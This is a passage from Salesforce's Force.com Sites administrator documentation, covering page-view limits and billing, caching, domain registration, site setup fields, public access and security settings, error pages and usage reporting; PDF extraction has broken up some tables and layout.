Enterprise Edition 25

1 GB for sandbox

30 minutes for sandbox

500,000

40 GB for production

60 hours for production

1 GB for sandbox

30 minutes for sandbox

40 GB for production

60 hours for production

Unlimited Edition 25

1,000,000

Make sure to consider all of the available caching options to help you avoid reaching these limits, and use the Site Usage
analytics tools to monitor your sites.

Billing and Monthly Page Views Enforcement


This section describes how salesforce.com enforces limits on monthly page views for sites:

Billing is based on the number of monthly page views purchased for your organization. This page view limit is cumulative
for all sites in your organization.
If, in a given calendar month, your organization reaches 110% of its page view limit, salesforce.com sends the site and
billing administrators email notification.
If your organization exceeds 110% of its page view limit for four consecutive calendar months, your sites are disabled until
the next calendar month begins or you purchase more page views. Also, salesforce.com sends email notification to the site
and billing administrators, as well as the related account executive.
If, in a given calendar month, your organization reaches 300% of its page view limit, your sites are disabled until the next
calendar month begins or you purchase more page views. Also, salesforce.com sends email notification to the site and
billing administrators, as well as the related account executive.

What Counts as a Page View?


This section describes how page views are counted for sites.
A page view is a request from a non-authenticated site user to load a page associated with one of the sites within your Force.com
domain or custom domain. Requests from authenticated portal users are not counted as page views.
Requests that Count as Page Views
Requests for the following are counted as page views:
Requests for...

Example URL

Your Force.com domain

http://mycompany.force.com

Your custom Web address

http://mycompany.com

Any page associated with your site

http://mycompany.force.com/mypage

Authorization Required error page

http://mycompany.force.com/Unauthorized

Ajax requests

n/a

1620

Force.com Sites

Caching Force.com Sites Pages

Requests that Do Not Count as Page Views


Requests for the following are not counted as page views:
Requests for...

Example URL

Salesforce images

http://mycompany.force.com/img/force_logo_w09.gif

Your static resources

http://mycompany.force.com/resource/1233771498000/background

Robots.txt

http://mycompany.force.com/robots.txt

Favorite icon

http://mycompany.force.com/favicon.ico

Attachments and Documents

n/a

Error pages, apart from Authorization


Required, such as Limit Exceeded and
Maintenance

http://mycompany.force.com/BandwidthExceeded

Images included with an HTML field

http://mycompany.force.com/servlet/rtaImage

Custom file field

http://mycompany.force.com/servlet/fileField

Note: Limit Exceeded, Maintenance, Page Not Found, and designated Inactive Home pages aren't counted
against page view and bandwidth limits. You can use static resources to brand these pages, but the following
limitations apply:

Static resources must be 50 KB or smaller in size.


Static resources must be style sheets (CSS), image files, or JavaScript files.
You can't use Apex controllers for these pages.
You can't perform SOQL or DML operations from these pages.

See Also:
Force.com Sites Overview
Caching Force.com Sites Pages
Viewing 24-Hour Force.com Sites Usage History
Reporting on Force.com Sites
Tracking Your Force.com Site with Google Analytics

Caching Force.com Sites Pages


Available in: Developer, Enterprise, and Unlimited Editions

Force.com sites enforces two 24-hour rolling limitsbandwidth and service request timewhich vary by organization type.
Though the limits are high for active production organizations, your site could exceed the limit due to heavy traffic or pages
that consume lots of bandwidth or processing time. Rolling 24-hour period refers to the 24 hours immediately preceding
the current time.

1621

Force.com Sites

Caching Force.com Sites Pages

Sites provide caching options that allow you to leverage the resources of our Content Delivery Network (CDN) partner to
improve page load times and site performance, as well as help you avoid reaching bandwidth or service request time limits.
Sites allows you to set the cache duration for each of your site pages and optimize content delivery to your end users.
Control the caching behavior for your site by setting the Boolean cache attribute and integer expires attribute on each
Visualforce page. By default, pages that do not have the cache attribute set are cached for ten minutes (600 seconds).
For example, a page whose cache is set to expire in 15 minutes looks like this:
<apex:page cache="true" expires="900">

Note: The CDN is only available for active production organizations. It is not available for sandbox or Developer
Edition organizations.
To protect the integrity of sensitive information, SSL sessions and pages requested after authentication are not cached
via the CDN.
Attachments to public pages accessed through sites are automatically cached for 10 minutes via the CDN.
Other factors also affect caching behavior, such as the type of user accessing the page, whether the request comes from the
caching server, and whether the site is login-enabled. The following tables summarize the caching behavior for each of these
cases.
For Requests Coming from the Caching Server
If the site is login-enabled:
Cache Attribute

Caching Behavior

Caching Location

Set to TRUE

Cache expires according to user-set


value

Caching server only

Not Set

Cache expires in ten minutes

Caching server only

Set to FALSE

Not cached

None

Cache Attribute

Caching Behavior

Caching Location

Set to TRUE

Cache expires according to user-set


value

Both caching server and browser

Not Set

Cache expires in ten minutes

Both caching server and browser

Set to FALSE

Not cached

None

If the site is not login-enabled:

For Requests Not Coming from the Caching Server


If the site is login-enabled:

1622

Force.com Sites

Setting Up Force.com Sites

Cache Attribute

Caching Behavior

Caching Location

Set to TRUE

Not cached

None

Not Set

Not cached

None

Set to FALSE

Not cached

None

Cache Attribute

Caching Behavior

Caching Location

Set to TRUE

Cache expires according to user-set


value

Browser only

Not Set

Cache expires in ten minutes

Browser only

Set to FALSE

Not cached

None

If the site is not login-enabled:

See Also:
Force.com Sites Overview
Force.com Sites Limits and Billing
Setting Up Force.com Sites
Viewing 24-Hour Force.com Sites Usage History
Reporting on Force.com Sites
Tracking Your Force.com Site with Google Analytics

Setting Up Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

To edit public access settings for Force.com sites:

Manage Users

Force.com Sites enables you to create public websites and applications that are directly integrated with your Salesforce
organizationwithout requiring users to log in with a username and password.
To set up a Force.com site:
1. Click Your Name > Setup > Develop > Sites.
2. Register a custom Force.com domain for your organization.

1623

Force.com Sites

Managing Force.com Sites

3. Create and configure your site.


4. Develop and use Visualforce pages for your site, use or hide standard pages, and customize or replace out-of-box error
pages. Associate these pages with your site.
5. Choose a site template. Use the lookup field to find and select a template that you've developed, or use the out-of-box
template provided. The site template provides the page layout and stylesheet for your site and overrides any formatting
inherited from the associated portal.
6. Enable a portal for login or self-registration, then associate it with your site.
7. Optionally, modify public access settings.
8. When you are ready to make your site public, click Activate on the Site Details page. You can also activate your site from
the Site Edit and Sites pages.
Once you have set up a site, you can:

Run reports and dashboards on your site.


Create workflow rules that trigger email alerts when site-related criteria are met.

See Also:
Force.com Sites Overview
Managing Force.com Sites
Creating and Editing Force.com Sites
Configuring Force.com Sites
Associating a Portal with Force.com Sites

Managing Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

To get started using Force.com sites, click Your Name > Setup > Develop > Sites. From this page, you can:

Register your Force.com domain, if you have not yet done so.
View all sites hosted on your Force.com domain.
Click New to create a new site.
Click Edit to make changes to an existing site.
Click Activate or Deactivate to change the active status for your site.
Caution: Be careful not to expose any information that you do not want to make public.

Click the site's label to view that site's details.

1624

Force.com Sites

Registering a Custom Force.com Domain

Click the site's URL to open that site in a browser.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Creating and Editing Force.com Sites
Configuring Force.com Sites

Registering a Custom Force.com Domain


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

Your company's Force.com domain is used for all the sites that you create. Even if you register a branded Web address for
your site, you must choose a Force.com domain. The branded URL will be redirected to the Force.com domain.
Note: If you choose to create a branded top-level domain or subdomain through a domain name registrar, the CNAME
record that you provide to that registrar must be your Force.com domain name and not the site URL. For example,
if you entered mycompany when registering your Force.com domain, the CNAME must be mycompany.force.com,
not the full value of the site URL.
To register your Force.com domain:
1. Click Your Name > Setup > Develop > Sites.
2. Enter a unique name for your Force.com domain. A Force.com domain name can contain only alphanumeric characters
and hyphens, and must be unique in your organization. It must begin with a letter, not include spaces, not end in a hyphen,
and not contain underscores or periods. Salesforce.com recommends using your company's name or a variation, such as
mycompany.
Caution: You can't modify your Force.com domain name after you have registered it.

3. Click Check Availability to confirm that the domain name you entered is unique. If it isn't unique, you are prompted to
change it.
4. Read and accept the Sites Terms of Use by selecting the checkbox.
5. Click Register My Force.com Domain. After you accept the Terms of Use and register your Force.com domain, the
changes related to site creation are tracked in your organization's Setup Audit Trail and the Site History related list. It
may take up to 48 hours for your registration to take effect.
Note: The format of the secure URLs for your Force.com sites depends on the organization type or Edition. Your
unique subdomain prefix is listed first, followed by Edition or environment type, then instance name and the force.com

1625

Force.com Sites

Creating and Editing Force.com Sites

suffix. In the following examples, the subdomain prefix is mycompany, the sandbox name is mysandbox, the instance
name is na1, and the sandbox instance name is cs1:
Organization Type

Secure URL

Developer Edition

https://mycompany-developer-edition.na1.force.com

Sandbox

https://mycompany.mysandbox.cs1.force.com

Production

https://mycompany.secure.force.com

The subdomain prefix for Developer Edition is limited to 22 characters. The secure URL is displayed on the Login
Settings page.

See Also:
Force.com Sites Overview
Force.com Sites Considerations
Setting Up Force.com Sites

Creating and Editing Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

After registering your Force.com domain, create a Force.com site using the following steps:
1. Click Your Name > Setup > Develop > Sites.
2. Click New or click Edit for an existing site.
3. On the Site Edit page, define the following:
Field

Description

Site Label

The name of the site as it appears in the user interface.

Site Name

The name used when referencing the site in the SOAP API. This name can
contain only underscores and alphanumeric characters, and must be unique in
your organization. It must begin with a letter, not include spaces, not end with
an underscore, and not contain two consecutive underscores.

Site Description

An optional description of the site.

Site Contact

The user who will receive site-related communications from the site's visitors
and salesforce.com.

1626

Force.com Sites

Creating and Editing Force.com Sites

Field

Description

Default Web Address

The unique Force.com URL for this site. Force.com provides the first part of
the URL based on the domain name that you registered; you must add a unique
site name to the end. Unless you configure a custom Web address through a
domain name registrar, this is the URL that the public will use to access your
site.

Secure Web Address

The unique Force.com URL for this site when using SSL. The secure Web
address is used for SSL even if you defined a custom Web address.

Custom Web Address

The optional branded custom Web address that you registered with a third-party
domain name registrar. The custom Web address acts as an alias to your
Force.com address.
To enable a custom Web address, create a CNAME record to your Force.com
domain with that registrar. If you have not registered this address, you encounter
an error. Custom Web addresses aren't supported for sandbox or Developer
Edition organizations.
Note: If you choose to create a branded top-level domain or subdomain
through a domain name registrar, the CNAME record that you provide
to that registrar must be your Force.com domain name and not the site
URL. For example, if you entered mycompany when registering your
Force.com domain, the CNAME must be mycompany.force.com,
not the full value of the site URL.

Active

The option that activates your site when you are ready to make it available to the
public. You can also activate your site from the Sites and Site Details pages.
When the site is inactive, users will see the page specified in the Inactive
Site Home Page field.

Active Site Home Page

The landing page that users are directed to when this site is active. Use the lookup
field to find and select the Visualforce page that you developed for your site's
home page. Choose the UnderConstruction page if you just want to test your
site.
For ideas sites, you must use the IdeasHome page and for answers sites you must
use the AnswersHome page. The look and feel for your Ideas site or Answers
site will be inherited from its associated portal unless you select a site template.
If you deployed a site before the Summer '10 release, you can set AnswersHome
as your default landing page if you create a Visualforce page using <apex:page
action="{!URLFOR('/answers/answersHome.apexp')}"/>

Inactive Site Home Page

The landing page that users are directed to when this site is inactive. Use the
lookup field to find and select the page that you want to use. You can, for example,
select a page to indicate that the site is under construction or down for
maintenance.

Site Template

The template that provides the page layout and stylesheet for your site. The site
template overrides any formatting inherited from the associated portal. Use the

1627

Force.com Sites

Field

Creating and Editing Force.com Sites

Description
lookup field to find and select a template that you've developed, or use the
out-of-box template provided.
Note: The site template specified here is used only for Visualforce pages
using the $Site.Template expression.

Site Robots.txt

A file that determines which parts of your public site Web spiders and other
Web robots can access. Web robots are often used by search engines to categorize
and archive websites. HTML tags are not allowed, as they are not compatible
with robots.txt spiders. For Visualforce pages, add
contentType="text/plain" to the <apex:page> tag.
Example disallowing all robots from indexing all pages:
<apex:page contentType="text/plain">
User-agent:
*

# Applies to all robots


Disallow:

# Disallow indexing of all pages

</apex:page>

Example allowing all robots to index all pages:


<apex:page contentType="text/plain">
User-agent: *

# Applies to all robots

Disallow:

# Allow indexing of all pages

</apex:page>

Site Favorite Icon

The icon that appears in the browser's address field when visiting the site. Use
this field to set the favorite icon for your entire site instead of for each page.
Changes will be reflected on your site one day after you make them, due to
caching.

Analytics Tracking Code

The tracking code associated with your site. This code can be used by services
like Google Analytics to track page request data for your site.

URL Rewriter Class

An Apex class to use for rewriting URLs for your site, from Salesforce URLs to
user-friendly URLs. With this class, you can make rules to rewrite site URL
requests typed into the address bar, launched from bookmarks, or linked from
external websites. You can also create rules to rewrite the URLs for links within
site pages.
For more information, see Site.UrlRewriter in the Force.com Apex Code
Developer's Guide.

Enable Feeds

The option that displays the Syndication Feeds related list, where you can create
and manage syndication feeds for users on your public sites. This field is visible
only if you have the feature enabled for your organization.

1628

Force.com Sites

Configuring Force.com Sites

4. Click Save.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Managing Force.com Sites
Configuring Force.com Sites
Force.com Sites-Related Apex Methods and Expressions

Configuring Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

To edit public access settings for Force.com sites:

Manage Users

Once you have created your site, you can configure it on the Site Details page. To access this page, click Your Name > Setup
> Develop > Sites, and then in the Sites list, click the site name. You can do the following:

Click Edit to make changes to the site.


Click Public Access Settings to view or edit the security settings, including permissions, page layouts, and more.
Click Login Settings to configure the login and registration settings for your site. Built-in login and registration logic
allows users to quickly register for, and seamlessly log in to, your portal from your public site.
Click URL Redirects to see any page redirects you've set up for your site.
Click Activate or Deactivate to change the active status for your site.
Caution: Be careful not to expose any information that you do not want to make public.

Click Preview as Admin to view your site in administrator preview mode. Administrator preview mode shows the errors
on each site page in context and in greater detail, so you can more easily troubleshoot site issues.
Click Edit in the Site Visualforce Pages or Site Standard Pages related lists to select the pages available for your site. All
pages associated with the site must be enabled.
Click Page Assignment to assign error pages for standard errors, such as Authorization Required (401) and Page Not
Found (404). You can override or edit the default pages that are provided.
Click New in the Feeds related list to create a new syndication feed. You must click Enable Feeds in the Site Detail list
to display this related list.
View the 24-Hour Usage History related list to see current bandwidth and service request time usage, the daily limits, and
the percentage used.

1629

Force.com Sites

Reporting on Force.com Sites

View the Site History related list to see the configuration changes that have been tracked for your site.

See Also:
Force.com Sites Overview
Creating and Editing Force.com Sites
Managing Force.com Site Visualforce Pages
Managing Force.com Site Standard Pages
Assigning Force.com Site Error Pages
Viewing 24-Hour Force.com Sites Usage History
Viewing Force.com Site History
Public Access Settings for Force.com Sites
Managing Force.com Site Login and Registration Settings
About Syndication Feeds

Reporting on Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To install packages:

Download AppExchange Packages

To run reports:

Run Reports
AND
Read on the records included in reports

To create, edit, save, and delete reports:

Run Reports and Read on the records included in the


reports
AND
Create and Customize Reports

To create, edit, and delete dashboards:

Run Reports
AND
Manage Dashboards

To keep track of your site activity and usage, take advantage of the Sites Usage Reporting managed package to analyze your
monthly page views, daily bandwidth, and daily service request time so you can avoid reaching monthly and daily limits for
individual sites, as well as for your organization.
To get started using Salesforce analytics for sites:
1. Install the Sites Usage Reporting managed package.
2. Use packaged reports to analyze site usage.

1630

Force.com Sites

Reporting on Force.com Sites

3. Optionally, create custom reports to analyze site usage.


4. Use the Site Usage Dashboard to monitor sites.

Install the Sites Usage Reporting Managed Package


The Sites Usage Reporting managed package, available on AppExchange, contains out-of-the-box reports and a dashboard
for monitoring sites usage.
To find the Sites Usage Reporting managed package, go to AppExchange and search on sites reporting, or go to
http://sites.force.com/appexchange/listingDetail?listingId=a0N30000001SUEwEAO.

Use Packaged Reports to Analyze Site Usage


The Sites Usage Reporting managed package contains the following reports to help you perform analytics on usage for the
sites in your organization. You can find these reports in the Site Usage Reports folder under All Reports in the Reports tab.
You can also select Site Usage Reports in the Folder drop-down list, then click Go.
Note: Site usage data is aggregated at midnight, GMT, so the current day's page view counts may not be accurately
reflected in reports, depending on your time zone. Cache server page views may take a day or more to be reflected in
reports.
Report

Description

Current Period Page Views

Shows the total page views for the current period (calendar month), measured against
page views allowed. Page views are broken down by site and by day. The current period
limit applies to all sites within the organization.

Daily Total Bandwidth Usage

Shows the total bandwidth usage over the last 30 days, broken down by site, by day, and
by origin and cache servers.

Daily Total Page Views

Shows the total page views over the last 30 days, broken down site, by day, and by origin
and cache servers.

Site Daily Origin Bandwidth


Usage

Shows the total origin bandwidth usage over the last 30 days, broken down by site and
by day.

Site Daily Request Time Usage

Shows the total origin service request time over the last 30 days, broken down by site and
by day.

Top Bandwidth Consuming Sites Shows the sites that consumed the most bandwidth during the current period.
Top Resource Consuming Sites

Shows the sites that consumed the most service request time during the current period.

Top Sites by Page Views

Shows the sites that generated the most page views during the current period.

Create Custom Reports to Analyze Site Usage


You can also create custom reports on sites:
1. From the Reports tab, click New Report.
2. For the report type, select Administrative Reports, then Site Usage Reports. You must enable sites for your organization
and install the Sites Usage Reporting managed package to see the Site Usage Reports custom report type.
3. Click Create and follow the instructions for creating a custom report. Fields related to your sites, such as Site Name,
Site Status, Daily Bandwidth Limit, and Daily Request Time Limit can all be used in your custom report.

1631

Force.com Sites

Force.com Sites Security

Note: When you create your own custom reports using the Site Usage Reports custom report type, be aware that the
Origin Bandwidth column is measured in bytes, and the Request Time column is measured in milliseconds.
Make sure you consider the difference in units when comparing these columns to the Daily Bandwidth Limit
and Daily Request Time Limit columns, which are measured in megabytes and minutes, respectively.
For the out-of-the-box reports included with the managed package, bandwidth is measured in megabytes and request
time is measured in minutes.

Use the Site Usage Dashboard to Monitor Sites


The Sites Usage Reporting managed package contains the Site Usage Dashboard to help you monitor the sites in your
organization at a glance. The dashboard contains a component for each of the reports provided in the managed package.
To access the dashboard, from the Dashboards tab:

Use the View Dashboard field.


Or, click Go to Dashboard List and select Site Usage Dashboard from the dashboard list.

To modify the dashboard, click Edit and follow the instructions for editing dashboards. You can also create your own custom
dashboard using any custom reports you may have created. Consider adding the Site Usage Dashboard as the dashboard
snapshot on your home page.

See Also:
Force.com Sites Overview
Viewing 24-Hour Force.com Sites Usage History
Tracking Your Force.com Site with Google Analytics
Reports Overview
Dashboards Overview

Force.com Sites Security


Available in: Developer, Enterprise, and Unlimited Editions

Consider the following security issues when setting up your Force.com site:

If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected, and the Require
Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected, users logging in to the
associated portal from the site will see the secure.force.com domain. For example, if you registered
mycompany.force.com as your custom domain, the URL changes to https://mycompany.secure.force.com
upon login. For more information, see Managing Force.com Site Login and Registration Settings.
Customers using a script to login to sites can use the optional refURL URL parameter to retain the custom domain name
after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has been set for the site or
Require Secure Connections (HTTPS) has been set for the organization. An example URL using refURL is:
http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com.
To set restrictions based on IP or login hours, HTTPS is required. You must use the secure URL associated with your
Force.com domain to access your site.
To enforce HTTPS on all Force.com sites pages and allow all IP addresses to access your site, create the following IP
ranges: 0.0.0.0 to 255.255.255.255, :: to ::fffe:ffff:ffff, and ::1:0:0:0 to

1632

Force.com Sites

Public Access Settings for Force.com Sites

ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff. However, as this may degrade the performance of your site, don't

enforce HTTPS unless it is absolutely required. Changing from HTTP to HTTPS doesn't affect logged in users until the
next time they log in.
Authenticated and non-authenticated users may see different error messages for certain conditionsfor example, on Apex
exceptions.
Only production organizations have the valid secure.force.com SSL certificates to access sites using HTTPS.
Note: If a site within a sandbox (non-production) organization is accessed using HTTPS, a certificate name
mismatch warning may appear.

Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has
restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within
the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to
expire from the Salesforce cache and any intermediate caches.
Caution:

We recommend setting the sharing to private for the objects on which you grant Read access for your site. This
ensures that users accessing your site can view and edit only the data related to your site.
We also recommend securing the visibility of all list views. Set the visibility of your list views to Visible to
certain groups of users, and specify the groups to share to. List views whose visibility is set to Visible
to all users may be visible to public users of your site. To share a list view with public users, create a new
public group for those users and give them visibility. If the object's sharing is set to private, public users won't be
able to see those records, regardless of list view visibility.

Public Access Settings for Force.com Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

To edit public access settings for Force.com sites:

Manage Users

Public access settings control what public users can do on each Force.com site. To set the public access settings for your site:
1. Click Your Name > Setup > Develop > Sites.
2. Click the name of the site you want to control.
3. Click Public Access Settings to open the Profile page for your site profile.
This page includes all the functionality for viewing and editing profile permissions and settings, but you can't clone or delete
the profile. For information on viewing and editing profiles, see User Profiles Overview on page 521.
In the site profile, you can:

1633

Force.com Sites

Public Access Settings for Force.com Sites

Set the object permissions for your site. You can grant Read and Create permissions on all standard objects except
products, price books, and ideas; and Read, Create, Edit, and Delete on all custom objects. All permissions that
aren't set by default must be set manually.
Caution: We recommend setting the sharing to private for the objects on which you grant Read access for your
site. This ensures that users accessing your site can view and edit only the data related to your site.
We also recommend securing the visibility of all list views. Set the visibility of your list views to Visible to
certain groups of users, and specify the groups to share to. List views whose visibility is set to Visible
to all users may be visible to public users of your site. To share a list view with public users, create a new
public group for those users and give them visibility. If the object's sharing is set to private, public users won't be
able to see those records, regardless of list view visibility.

Control the visibility of custom apps. If you want to expose a custom app and its associated tabs to public users, make only
that app visible and make it the default to avoid exposing other pages. If any of your site pages use standard Salesforce
headers, other visible applications may be seen by public users.
Set the login hours during which users can access the site.
Restrict the IP address ranges from which you can access the site. Force.com sites ignore company-wide IP range restrictions
in order to provide public access; however, you can restrict the IP range here.
Note: To set restrictions based on IP or login hours, HTTPS is required. You must use the secure URL associated
with your Force.com domain to access your site.
To enforce HTTPS on all Force.com sites pages and allow all IP addresses to access your site, create the following
IP ranges: 0.0.0.0 to 255.255.255.255, :: to ::fffe:ffff:ffff, and ::1:0:0:0 to
ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff. However, as this may degrade the performance of your site,
don't enforce HTTPS unless it is absolutely required. Changing from HTTP to HTTPS doesn't affect logged in
users until the next time they log in.
Both IP addresses in a range must be either IPv4 or IPv6. In ranges, IPv4 addresses exist in the IPv4-mapped IPv6
address space ::ffff:0:0 to ::ffff:ffff:ffff, where ::ffff:0:0 is 0.0.0.0 and ::ffff:ffff:ffff
is 255.255.255.255. A range can't include IP addresses inside of the IPv4-mapped IPv6 address space if it also
includes IP addresses outside of the IPv4-mapped IPv6 address space. Ranges such as 255.255.255.255 to
::1:0:0:0 or :: to ::1:0:0:0 are not allowed. You can set up IPv6 addresses in all organizations, but IPv6 is
only enabled for login in sandbox organizations for the Spring '12 release.

Enable Apex controllers and methods for your site. Controllers and methods that are already associated with your site's
Visualforce pages are enabled by default.
Enable Visualforce pages for your site. Changes made here are reflected on the Site Visualforce Pages related list on the
Site Details page, and vice versa.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Force.com Sites-Related Apex Methods and Expressions
Setting Your Organization-Wide Sharing Defaults
Overview of Sharing Settings
Creating Custom List Views

1634

Force.com Sites

Managing Force.com Site Visualforce Pages

Managing Force.com Site Visualforce Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for
their stylesheet and images.
Caution: Don't rename or delete SiteSamples or you may get an error.

All pages that you want to expose on a site must be associated with that site. If a page is not listed under Site Visualforce
Pages, an authentication or page-not-found error is displayed based on the existence of the page.
To enable Visualforce pages for your site:
1.
2.
3.
4.
5.

Click Your Name > Setup > Develop > Sites.


Click the name of the site you want to modify.
Click Edit on the Site Visualforce Pages related list.
Use the Add and Remove buttons to enable or disable Visualforce pages for your site.
Click Save.
Note: If you select a Visualforce page for any of the lookup fields on the Site Detail page, any of the error pages, or
the Change Password Page under login settings, that page is automatically enabled for your site. If you remove a
page from this list, but it is still selected in one of these places, public users can access that page. To completely remove
pages from your site, disable them here and make sure they are not selected in any lookup fields for your site.

If you don't want to enable a Visualforce page for your entire site, you can also enable pages for specific profiles.

The My Profile Page


The My Profile page is a Visualforce page associated with a Customer Portal or site user's profile. The My Profile page enables
users logged into either your Force.com site, or your Customer Portal from Force.com sites, to update their own contact
information. When they make changes to this page, the corresponding portal user and contact records are updated.
The My Profile page can be enabled either for your entire site or in a more restricted way by assigning it to the site guest user
profile.

1635

Force.com Sites

Managing Force.com Site Standard Pages

The My Profile page is also delivered as part of the Customer Portal Welcome component on your home page layout. For
more information, see Designing Home Tab Page Layouts.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Standard Pages
Assigning Force.com Site Error Pages
What is a Static Resource?

Managing Force.com Site Standard Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

Force.com sites uses Visualforce pages for all site and error pages. Force.com also provides some standard pages that you can
use.
All pages that you want to expose on a site must be enabled for that site. If a page is not listed under Site Standard Pages,
Salesforce displays an authorization required error.
To control which standard pages users see for your site:
1.
2.
3.
4.

Click Your Name > Setup > Develop > Sites.


Click the name of the site you want to view.
Click Edit on the Site Standard Pages related list.
Use the Add and Remove buttons to enable or disable the following standard pages for your site:

Home PageThe standard page associated with the Home tab (/home/home.jsp).
Ideas PagesThe standard pages associated with ideas. If you want to use default ideas pages (for example, IdeasHome),
enable these pages.
Answers PagesThe standard pages associated with answers. If you want to use default answers pages (for example,
AnswersHome), enable these pages.
Search PagesThe standard Salesforce search pages. To allow public users to perform standard searches, enable these
pages.
Lookup PagesThe standard Salesforce lookup pages. These are the popup windows associated with lookup fields on
Visualforce pages.

5. Click Save.

1636

Force.com Sites

Assigning Force.com Site Error Pages

Note: Make sure to disable any pages that you are not actively using in your site. Otherwise, they may be accessible
to public users. Also, make sure to set up private sharing to restrict search and lookup access for public users.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Visualforce Pages
Assigning Force.com Site Error Pages

Assigning Force.com Site Error Pages


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

Force.com sites uses Visualforce pages for all site and error pages. Sample error pages use the SiteSamples static resource for
their stylesheet and images.
Caution: Don't rename or delete SiteSamples or you may get an error.

To set the error pages for your site:


1.
2.
3.
4.

Click Your Name > Setup > Develop > Sites.


Click the name of the site you want to modify.
Click Page Assignment on the Error Pages related list.
Using the lookup fields, assign a Visualforce page or static resource for each of the standard error conditions listed:

Authorization Required PageThe page users see when trying to access pages for which they do not have

authorization.

Limit Exceeded PageThe page users see when your site has exceeded its bandwidth limits.
Maintenance PageThe page users see when your site is down for maintenance.
Service Not Available PageThe page users see when Salesforce servers are unavailable. This custom page is

rendered from a static resource that you choose. The static resource is uploaded to the cache server when assigned as
the Service Not Available page, and when updated after assignment. The custom page is shown for HTTP requests
only; caching is not used for HTTPS. Not available for Developer Edition or sandbox organizations.
If you haven't set a custom page for a site that uses a site prefix, the custom page for the root site is used when servers
are unavailable. For example, if http://mycompany.force.com/sales doesn't have a custom page, but
http://mycompany.force.com does, that custom page is used. Otherwise, the Maintenance page is shown by
default.

1637

Force.com Sites

Viewing 24-Hour Force.com Sites Usage History

Note: The static resource:


Must be a public .zip file 1 MB or smaller.
Must contain a page named maintenance.html at the root level of the .zip file. Other resources in the
.zip file, such as images or CSS files, can follow any directory structure.
Must contain only files that have file extensions.

Page Not Found PageThe page users see when trying to access a page that cannot be found. You can use the
action attribute on an <apex:page> component to redirect the Page Not Found error page. Using this kind of redirect

on any other error pages will redirect users to the Maintenance page.
Generic Error PageThe page users see when encountering generic exceptions.
Note: When using static resources in a custom error pagesuch as a large image file or a large CSS file contained
in a static resource .zip fileeach individual resource must be no larger than 50KB. Otherwise, a 404 not found
error is returned for that resource.

5. Click Save.
6. On the Site Details page, click Preview to view the associated page as it would appear in a browser.
Tip: Add the <site:previewAsAdmin /> component right before the closing </apex:page> tag in your custom
Visualforce error pages to view detailed site error messages in administrator preview mode.

See Also:
Force.com Sites Overview
Setting Up Force.com Sites
Configuring Force.com Sites
Managing Force.com Site Visualforce Pages
Managing Force.com Site Standard Pages

Viewing 24-Hour Force.com Sites Usage History


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

Monitor the bandwidth and request time usage for each of your sites by viewing the usage data tracked on this related list. By
closely monitoring your sites, you can avoid exceeding your limits.
To view the 24-hour usage history for your site:
1. Click Your Name > Setup > Develop > Sites.
2. Click the name of the site you want to view.

1638

Force.com Sites

Viewing Force.com Site History

3. View the 24-Hour Usage History related list. Usage information may be delayed by up to several minutes due to processing
time.
The 24-Hour Usage History related list tracks and displays the following usage metrics for your site:
Metric

How It's Calculated

Origin Bandwidth

Bandwidth is calculated as the number of megabytes served and received from the site's origin
server. The Daily Limit applies to a rolling 24-hour period.

Request Time

Service request time is calculated as the total server time in minutes required to generate pages
for the site. The Daily Limit applies to a rolling 24-hour period.

Origin server refers to the Web server that hosts your site. Rolling 24-hour period refers to the 24 hours immediately
preceding the current time.
For each metric, the related list displays Current Usage, Daily Limit, and the Percent Used.

See Also:
Force.com Sites Overview
Force.com Sites Considerations
Setting Up Force.com Sites
Configuring Force.com Sites
Tracking Your Force.com Site with Google Analytics
Reporting on Force.com Sites

Viewing Force.com Site History


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


To create and edit Force.com sites:

Customize Application

To view the site history:


1. Click Your Name > Setup > Develop > Sites.
2. Click the name of the site you want to view.
3. View the Site History related list.
The Site History related list tracks and displays the changes made to your site. All of the following events are tracked in the
site history, along with the user who made the change and the time it occurred:
Event

Description

Site Creation

Logs when each site was created.

1639

Force.com Sites

Viewing Force.com Site History

Event

Description

Site Detail Changes

Changes to the following site values are logged:


Site Label
Site Name
Site Description
Site Contact
Default Web Address
Custom Web Address
Active Status
Active Site Home Page
Inactive Site Home Page
Site Template
Site Robots.txt
Site Favorite Icon
Analytics Tracking Code
Enable Feeds

Site Standard Pages

Logs when any standard page is enabled or disabled.

Site Error Pages

Logs when any error page assignment is changed.

Login Settings Changes

Changes to the following login settings are logged:


Portal
Change Password Page
Require Non-Secure Connections (HTTP)

URL Redirect Changes

